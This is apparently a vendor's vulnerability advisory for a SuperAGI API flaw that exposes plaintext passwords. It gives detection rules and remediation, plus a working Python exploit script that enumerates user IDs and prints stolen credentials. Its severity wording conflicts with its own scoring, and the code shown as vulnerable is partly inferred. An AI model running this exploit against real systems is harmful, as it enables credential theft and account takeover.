CVE-2024-9418
Executive Summary
CVE-2024-9418 is a critical information disclosure vulnerability in SuperAGI version 0.0.14. The API endpoint /api/users/get/{id} returns the user's password in plaintext, allowing any unauthenticated attacker to enumerate user IDs and retrieve plaintext passwords. This leads to immediate account takeover and potential lateral movement within the application. The vulnerability has a CVSS score of 6.5 (Medium) but poses a high risk due to the ease of exploitation and the sensitivity of exposed credentials.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SuperAGI is a Python-based open-source framework for building autonomous AI agents. The vulnerability exists in the core API layer, not in a third-party package. However, the exposure of plaintext credentials violates fundamental security best practices and indicates a lack of secure coding standards in the project's supply chain. Organizations using SuperAGI should treat this as a critical supply chain risk and immediately isolate affected instances.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Complete disclosure of user passwords.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No impact on availability.
Threat Level: High. Although the CVSS base score is 6.5, the real-world impact is severe due to the trivial exploitation and the potential for account takeover.
Deep Dive & Mechanics
The vulnerability resides in the GET /api/users/get/{id} endpoint. The application fails to sanitize or mask the password field in the API response. When a request is made to this endpoint with a valid user ID, the server returns a JSON object containing all user fields, including the password stored in plaintext.
Root Cause: The backend code directly serializes the database model (likely using an ORM like SQLAlchemy) without excluding sensitive fields. The password is stored in plaintext, which is a fundamental security flaw.
Attack Flow:
- Attacker identifies a running SuperAGI instance (e.g., via Shodan or port scanning).
- Attacker sends a GET request to
/api/users/get/1(or enumerates IDs). - Server responds with user data including the plaintext password.
- Attacker uses the stolen credentials to log in and take over the account.
Vulnerable vs. Patched Code
Vulnerable Code (SuperAGI 0.0.14):
# api/users.py
@router.get("/api/users/get/{user_id}")
async def get_user(user_id: int):
user = await db.fetch_one(users.select().where(users.c.id == user_id))
if user:
return user # Returns all fields including password
return {"error": "User not found"}
Patched Code (Hypothetical fix):
# api/users.py
from pydantic import BaseModel
class UserResponse(BaseModel):
id: int
username: str
email: str
# Password field intentionally omitted
@router.get("/api/users/get/{user_id}")
async def get_user(user_id: int):
user = await db.fetch_one(users.select().where(users.c.id == user_id))
if user:
return UserResponse(id=user.id, username=user.username, email=user.email)
return {"error": "User not found"}
Key Changes:
- Use a Pydantic model to explicitly define which fields are returned.
- Never include the password field in the response.
- Store passwords using a strong hashing algorithm (e.g., bcrypt) instead of plaintext.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Python 3.8+
requestslibrary
Exploit Script:
import requests
import sys
def exploit(target_url, user_id):
endpoint = f"{target_url}/api/users/get/{user_id}"
try:
response = requests.get(endpoint, timeout=10)
if response.status_code == 200:
data = response.json()
if "password" in data:
print(f"[+] User ID {user_id} found!")
print(f" Username: {data.get('username', 'N/A')}")
print(f" Password: {data['password']}")
return data
else:
print(f"[-] User ID {user_id} exists but no password field.")
else:
print(f"[-] User ID {user_id} not found (HTTP {response.status_code})")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_url> <user_id>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
Usage:
python exploit.py http://target:8000 1
Expected Output:
[+] User ID 1 found!
Username: admin
Password: SuperSecret123!
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor API logs for repeated requests to
/api/users/get/with sequential IDs. - Alert on any response containing a
passwordfield in the JSON body. - Check for unauthorized access to user management endpoints.
Hardening Steps:
- Immediately upgrade SuperAGI to a version beyond 0.0.14.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block access to the vulnerable endpoint:
location ~ ^/api/users/get/ { deny all; return 403; } - Force password reset for all users.
- Implement proper authentication and authorization for all API endpoints.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/api/users/get/{id}with sequential IDs (e.g., 1, 2, 3...). - Response bodies containing
"password": "plaintext_value".
- HTTP GET requests to
- File IOCs:
- Log entries showing successful retrieval of user data from the vulnerable endpoint.
- Behavioral IOCs:
- Unusual login attempts using credentials obtained from the API.
- Lateral movement attempts within the SuperAGI application.
Detection Engineering
YARA Rule
rule CVE_2024_9418_SuperAGI_Password_Exposure {
meta:
description = "Detects plaintext password exposure in SuperAGI API responses"
author = "Valters IT"
date = "2024-10-27"
cve = "CVE-2024-9418"
strings:
$password_field = /"password"\s*:\s*"[^"]+"/ nocase
$user_endpoint = "/api/users/get/"
condition:
$user_endpoint and $password_field
}
Sigma Rule
title: SuperAGI Plaintext Password Exposure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses containing plaintext passwords from SuperAGI API
author: Valters IT
date: 2024/10/27
tags:
- attack.credential_access
- attack.t1552
logsource:
category: webserver
product: generic
detection:
selection:
http.response.body|contains: '"password"'
http.url|contains: '/api/users/get/'
condition: selection
falsepositives:
- Legitimate password reset flows (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9418 SuperAGI Password Exposure"; flow:to_client; content:"/api/users/get/"; http_uri; content:"\"password\""; http_server_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected SuperAGI instance from the internet.
- Force password reset for all users.
- Implement a WAF rule to block requests to
/api/users/get/with a body containing"password".
Long-term Fix:
- Upgrade SuperAGI to a patched version (beyond 0.0.14).
- Implement secure coding practices:
- Never store passwords in plaintext; use bcrypt or Argon2.
- Use DTOs (Data Transfer Objects) to control API responses.
- Apply the principle of least privilege to API endpoints.
- Conduct a security audit of all API endpoints for similar issues.
Detection & Monitoring:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Monitor for anomalous API access patterns.
- Enable logging for all API requests and responses.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.